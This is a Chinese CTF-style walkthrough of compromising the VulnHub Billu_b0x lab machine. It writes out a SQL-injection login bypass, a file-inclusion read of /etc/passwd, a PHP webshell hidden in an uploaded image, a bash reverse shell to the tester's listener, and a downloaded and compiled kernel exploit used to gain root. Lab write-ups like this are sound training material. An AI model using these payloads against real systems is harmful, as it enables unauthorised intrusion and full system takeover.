billu_b0x靶机地址:https://download.vulnhub.com/billu/Billu_b0x.zip
网络建议调成nat模式,打开靶机点击我已移动虚拟机
目标:获取靶机root权限
信息收集
- 内网主机扫描
sudo arp-scan -l
- 目标主机端口扫描
nmap -p- -A 10.0.0.120
- 目标主机开放了80端口,开启网站目录扫描
dirb http://10.0.0.120
web渗透
漏洞挖掘
- 浏览器访问80端口:http://10.0.0.120
- 标题很明确,叫我门展示你的sql注入技巧
- 尝试万能密码
admin
' or 1=1#
- 万能密码失效了,后端代码应该是做了些过滤
- 测试访问其他网站
http://10.0.0.120/add
- 一个上传文件的网站
- 测试上传马,新建一个文本改后缀为.php
<?php @eval($_POST['cmd']); ?>
- 点击上传后并没有返回上传成功的信息
测试文件包含漏洞
- 继续查看其他网页 ,经过一番尝试后发现一个phpinfo()的网页
http://10.0.0.120/in
- 疑似文件包含的嫌疑
- 在尝试test网页后发现了蹊跷
http://10.0.0.120/test
- 这就暗示了文件包含漏洞的可控参数就是file
- 我们就地取材,在当前目录下使用file参数测试文件包含
http://10.0.0.120/test.php?file=/etc/passwd
- 显然不太行,尝试过../跳级也没用
- get请求不行,换post请求试试,在kali中使用curl的post请求
curl -d "file=/etc/passwd" http://10.0.0.120/test
- 文件包含成功!
代码审计(sql注入)
- 这次我们审计一下index.php的源码,看看sql语句做了那些过滤
curl -d "file=index.php" http://10.0.0.120/test
- 这段代码是核心,我们审计得到的是:
- 参数uname和pass都对单引号做了过滤,单引号转化为空
- 如果我们使用万能密码,最后执行的sql语句应该是这样的:
select * from auth where pass='or 1=1
- 很明显这是一个语法错误了,肯定不能执行成功
- 如果我们一直把万能公式写在密码框也就是写在sql语句最前面的pass,那么后面的语句基本上不用看了
- 所以我们将万能公式只写在后面的uname中试试:
select * from auth where pass='' and uname='or 1=1#'
- 这样最后执行的语句就是:
select * from auth where pass='' and uname='or 1=1
- 可以看出,只要在pass中过滤掉单引号就可以实现绕过
- 思想就是让万能公式单独执行,将pass中的一个单引号过滤掉,那么第一个单引号到最后一个单引号中的值就成了pass的值:
select * from auth where pass='\' and uname='or 1=1
- 因为源码中说明了将转义后的单引号转为空,最后执行的sql语句为:
select * from auth where pass=' and uname=' or 1=1
- 这样就可以绕过登录框了
- 查看这个网页有什么漏洞:
- 这个很眼熟,像是在add这个网页中的文件上传
- 上传之后我们并不知道路径,这为后续反弹shell不利,所以我们深挖目录:
┌──(whoami㉿clay)-[/usr/share/dirbuster/wordlists]
└─$ gobuster dir -w directory-list-2.3-medium.txt -u http://10.0.0.120
- 果然有蹊跷,访问一下uploaded_images目录
- 这下思路清晰了
漏洞利用
文件上传(图片马)
- 我们先随便获取一张图片,新建文本后缀为.asp写入一句话,开启本机cmd将两者合并
<?php system($_POST['cmd']); ?>
- 此时,当前目录就会多出一张图片,将此图片上传即可
- 上传成功!但是不能直接触发一句话木马程序
- 这里可以使用文件包含来间接触发,使用bp在/panel.php这个目录下抓包分析数据
- 我们获取到的是load这个参数的作用是选项,我们将它改成add发包看看:
- 果然变成了上传文件的网页,如果我们改成上传图片马的路径执行命令?
- 命令执行成功!
- 在kali上建立起nc监听:
- 在参数cmd中输入反向shell ,记得要编码一下
echo "bash -i >& /dev/tcp/10.0.0.123/8888 0>&1" | bash
- 发包后成功反弹shell:
提权
-
进入家目录看看有什么信息
- 这里找不到什么信息
- 测试suid提权
find / -perm -u=s -type f 2>/dev/null
- 也没有什么可以利用的好像
- 测试sudo -l
- 也不行
- 没什么耐心了,直接看内核提权,先看看操作系统的版本
cat /etc/*release
- 12.04属于是很低的一个版本了,直接在kali上找exp
searchsploit Ubuntu 12.04
- 我们获取第二个c文件到kali并开启http服务,靶机上wget获取
python -m http.server 8080
wget http://10.0.0.123:8080/37292.c
- 使用gcc来编译c文件
gcc 37292.c -o 37292
- 最后执行这个c程序
./37292
总结
- 代码审计值得花时间,有利于我们利用sql注入直接绕过登录框
- 文件上传图片马,以及利用文件包含漏洞间接启用图片马
- 当版本较低时,直接考虑内核提权,高效